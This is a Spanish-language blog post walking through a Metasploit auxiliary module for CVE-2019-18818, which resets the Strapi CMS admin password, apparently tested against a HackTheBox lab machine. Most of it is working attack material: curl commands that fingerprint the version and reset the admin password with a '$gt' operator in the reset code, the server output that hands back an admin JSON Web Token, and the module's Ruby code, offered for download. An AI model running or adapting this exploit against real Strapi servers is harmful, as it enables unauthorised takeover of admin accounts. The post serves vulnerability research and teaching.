CVE-2019-18818 (Metasploit) + POC

Hace relativamente poco comencé en la creación de módulos auxiliares y exploits para Metasploit Framework y me gustaría compartir mi experiencia en mi primer módulo auxiliar del CVE-2019-18818.

Antes de comenzar a explicar de que se compone el módulo, un breve resumen sobre que es CVE-2019-18818. Esta vulnerabilidad fue publicada en la NATIONAL VULNERABILITY DATABASE (NVD) el 11 de julio de 2019, dicha falla maneja mal el restablecimiento de la contraseña en packages/strapi-admin/controllers/Auth.js y packages/strapi-plugin-users-permissions/controllers/Auth.js en Strapi 3.0.0-beta.17.4, por ende esto permite cambiar la contraseña de un usuario privilegiado y asimismo garantizar el acceso no autorizado al CMS, de ahi que fue catalogada como CRÍTICA por su gravedad y fácil explotación.

Por si no fuera poco, tiempo después, el 5 de diciembre de 2019 fue encontrado el CVE-2019-19609 en Strapi 3.0.0-beta.17.8, a diferencia del CVE-2019-18818, esta permitía la ejecución de código arbitrario por un usuario autenticado.

A todo esto, usar la beta de Strapi CMS en versiones desactualizadas da oportunidad a un atacante a comprometerte.

Ahora bien, como se explota?, pues bien, es muy fácil, enviaremos datos JSON al servidor a una ruta específica del CMS y ganaremos acceso como un usuario legítimo volcando un JSON Web Token.

Primeramente, es verificar si la versión que se está empleando en Strapi es vulnerable, es decir anteriores a la 3.0.0-beta.17.5, por ello podemos enviar datos JSON mediante una petición GET al servidor en ‘/admin/init’ especificando a la cabecera Content-Type que estamos enviando datos en JSON, esto lo podemos hacer de la siguiente manera con curl.

┌──(root💀kali)-[/home/kali]
└─$ curl -X GET http://api-prod.horizontall.htb/admin/init -H 'Content-type: application/json' -s | jq                        
{                                                                                                                             
  "data": {                                                                                                                   
    "uuid": "a55da3bd-9693-4a08-9279-f9df57fd1817",                                                                           
    "currentEnvironment": "development",                                                                                      
    "autoReload": false,                                                                                                      
    "strapiVersion": "3.0.0-beta.17.4"                                                                                        
  }                                                                                                                           
} 

En el módulo auxiliar de Metasploit, implemente esta funcionalidad en la función check.

def check
    res = send_request_raw({ 'uri' => '/admin/init' })
    version = JSON.parse(res.body) 

    if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end    
end

Hago uso de send_request_raw para enviar una petición GET, seguidamente parseo la data en JSON de la respuesta del servidor con JSON.parse y la guardo en la variable version, defino una condición, if version["data"]["strapiVersion"] == '3.0.0-beta.17.4', extraigo strapiVersion de la variable versión que contiene la versión y hace una comparacion, si strapiVersion es igual a ‘3.0.0-beta.17.4’, entonces el servidor es vulnerable, por lo cual devuelvo return Exploit::CheckCode::Vulnerable, de lo contrario retorno return Exploit::CheckCode::Safe.

Hasta ahora esto ha sido para verificar que el servidor sea vulnerable, ahora vayamos con la explotación de la vulnerabilidad.

Enviaremos una petición POST a /admin/auth/reset-password y especificaremos los siguientes datos en JSON:

{
  "code": {"$gt:0"}, # Bypass WAF
  "password": "Newpass123", # Nueva contraseña
  "passwordConfirmation": "Newpass123" # Confirmacion nueva contraseña
}

Lo podemos hacer con curl de esta manera:

┌──(root💀kali)-[/home/kali]
└─# curl -X POST -H 'Content-type: application/json' http://api-prod.horizontall.htb/admin/auth/reset-password -d '{"code": {"$gt":0},"password":"pas","passwordConfirmation":"pas"}' -s | jq
{
  "jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0NDQ0MjI0LCJleHAiOjE2NDcwMzYyMjR9.il6oFUjKXH7ke_uOVqM99quXU9qOyfKKY30ihgG21I4",                                                                                   
  "user": {
    "id": 3,
    "username": "admin",
    "email": "admin@horizontall.htb",
    "blocked": null
  }
}

La respuesta nos muestra un JWT valido del usuario admin que puede ser usado mas tarde.

Este seria el codigo en el modulo de Metasploit.

def run
    json_body = { 'code' => {'$gt' => 0},
      'password' => datastore['NEW_PASSWORD'],
      'passwordConfirmation' => datastore['NEW_PASSWORD'] }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/admin/auth/reset-password',
      'ctype' => 'application/json',
      'data' => JSON.generate(json_body)
    })

    print_status("Changing password...")
    json_format = JSON.parse(res.body)
    jwt = json_format['jwt']

    if res.code == 200
      print_good("Password changed successfully!")
      print_good("USER: admin")
      print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
      print_good("JWT: #{jwt}")
    else
      fail_with(Failure::NoAccess"Could not change admin user password")
    end
  end

Comienzo definiendo mi data JSON en formato Ruby concatenando los datos del usuario, la guardo en la variable json_body y envió una petición POST usando send_request_cgi, genero mi data JSON válida con JSON.generate(json_body) en la peticion, guardo la petición en la variable res y parseo la data de esta con JSON.parse(res.body), la almaceno en json_format y después guardo el parámetro JWT que contiene el JSON Web Token del usuario admin en la variable jwt = json_format['jwt'] y hago una comparación, if res.code == 200, es decir si la respuesta del código de estado de lado del servidor es 200 OK, quiere decir que la contraseña se cambió con éxito y te muestra la contraseña, el usuario y el JWT nuevos del usuario admin, de lo contrario muestro Could not change admin user password.

Exploit download: ExploitDB or Packet Storm

POC

Leave a comment